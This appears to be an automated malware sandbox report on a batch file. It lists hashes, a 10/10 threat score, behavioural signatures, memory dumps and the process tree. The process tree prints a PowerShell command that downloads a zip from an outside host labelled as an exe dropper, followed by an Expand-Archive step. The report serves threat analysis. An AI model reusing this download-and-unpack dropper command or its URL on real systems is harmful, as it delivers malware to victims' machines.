3113000f470106b98b5a3208266c79213a33567ca7841dd1cfe8ab84847c4eb8

Analysis

max time kernel
121s
max time network
125s
platform
windows7_x64
resource
win7-20231025-en
resource tags

arch:x64arch:x86image:win7-20231025-enlocale:en-usos:windows7-x64system
submitted
19/11/2023, 06:55

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General

Target

tesy - Copy (4).bat
Size

706B
MD5

035f17438f6146d5ac7285b4adfeb370
SHA1

ef83c877367e96073e2b9b841d9c03ece6b1df7e
SHA256

02261a07ff83d906a835ac5229b25595239717e0091f2462804d0a31859bbdc0
SHA512

49455c7edd51537ba92e2db0941f571cd6ad89252702a19cf5910b390b182c16fc970ca62c26582b293ac5fc096e84538c5634472ab6e31bbd29242e8bb816cf

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	1672	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1672	powershell.exe
2700	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1672	powershell.exe
Token: SeDebugPrivilege	2700	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2952 wrote to memory of 1672	2952	cmd.exe	29
PID 2952 wrote to memory of 1672	2952	cmd.exe	29
PID 2952 wrote to memory of 1672	2952	cmd.exe	29
PID 2952 wrote to memory of 2700	2952	cmd.exe	30
PID 2952 wrote to memory of 2700	2952	cmd.exe	30
PID 2952 wrote to memory of 2700	2952	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/fe8c3030-34d2-4153-bdb3-f0ef0fdd51b2.zip', 'test1.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1672
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test1.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2700

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
7cf2214075e4d82f4a086461dbd05bb9

SHA1
88616bbdb5ac4aa1617c20e0f66f8a1fac38dea8

SHA256
9050abf7f2a0d7dcf3145f054fb09d3ba7f65160dd2c065d1bb593af8c165686

SHA512
8b797e4a95689a74e9443b2467f86fbefccf4f6912e9a2c0780055c32db53c6c8b268dde6968a21ede4ebc1629acfe546cf36f8c73e8e97592ebedc76410f8b4

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\KFU23LYOSXDZZ4MSQL85.temp

Filesize
7KB

MD5
7cf2214075e4d82f4a086461dbd05bb9

SHA1
88616bbdb5ac4aa1617c20e0f66f8a1fac38dea8

SHA256
9050abf7f2a0d7dcf3145f054fb09d3ba7f65160dd2c065d1bb593af8c165686

SHA512
8b797e4a95689a74e9443b2467f86fbefccf4f6912e9a2c0780055c32db53c6c8b268dde6968a21ede4ebc1629acfe546cf36f8c73e8e97592ebedc76410f8b4

Download Submit
memory/1672-8-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/1672-7-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/1672-4-0x000000001B2C0000-0x000000001B5A2000-memory.dmp

Filesize
2.9MB

Download
memory/1672-9-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/1672-10-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/1672-12-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/1672-6-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Filesize
9.6MB

Download
memory/1672-5-0x0000000002460000-0x0000000002468000-memory.dmp

Filesize
32KB

Download
memory/2700-21-0x0000000002350000-0x00000000023D0000-memory.dmp

Filesize
512KB

Download
memory/2700-18-0x000000001B180000-0x000000001B462000-memory.dmp

Filesize
2.9MB

Download
memory/2700-20-0x0000000002290000-0x0000000002298000-memory.dmp

Filesize
32KB

Download
memory/2700-19-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

Filesize
9.6MB

Download
memory/2700-22-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

Filesize
9.6MB

Download
memory/2700-23-0x0000000002350000-0x00000000023D0000-memory.dmp

Filesize
512KB

Download
memory/2700-24-0x0000000002350000-0x00000000023D0000-memory.dmp

Filesize
512KB

Download
memory/2700-25-0x0000000002350000-0x00000000023D0000-memory.dmp

Filesize
512KB

Download
memory/2700-26-0x000007FEF5280000-0x000007FEF5C1D000-memory.dmp

Filesize
9.6MB

Download